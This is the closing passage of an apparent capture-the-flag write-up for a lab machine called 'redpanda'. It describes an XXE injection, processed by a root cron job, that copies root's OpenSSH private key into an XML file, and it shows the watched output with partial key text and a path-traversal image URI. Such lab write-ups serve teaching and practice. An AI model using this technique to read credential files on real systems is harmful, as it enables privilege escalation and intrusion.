When the cronjob hits, every 2 minutes, it will parse the existing xml at the path, and expand the external entity, here our private key, do the necessary changes in number of views to the xml, and write it back in the same place, which means that if we monitor it with watch we should see the private key appear after 2 min:
Every 2.0s: cat privesc_creds.xml redpanda: Sun Oct 16 19:09:39 2022
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace>
<credits>
<author>damian</author>
<image>
<data>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
..............................SNIP....................................
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----</data>
<uri>/../../../../../../dev/shm/hamster.jpg</uri>
<views>1</views>
</image>
<totalviews>3</totalviews>
</credits>
Done! That was fun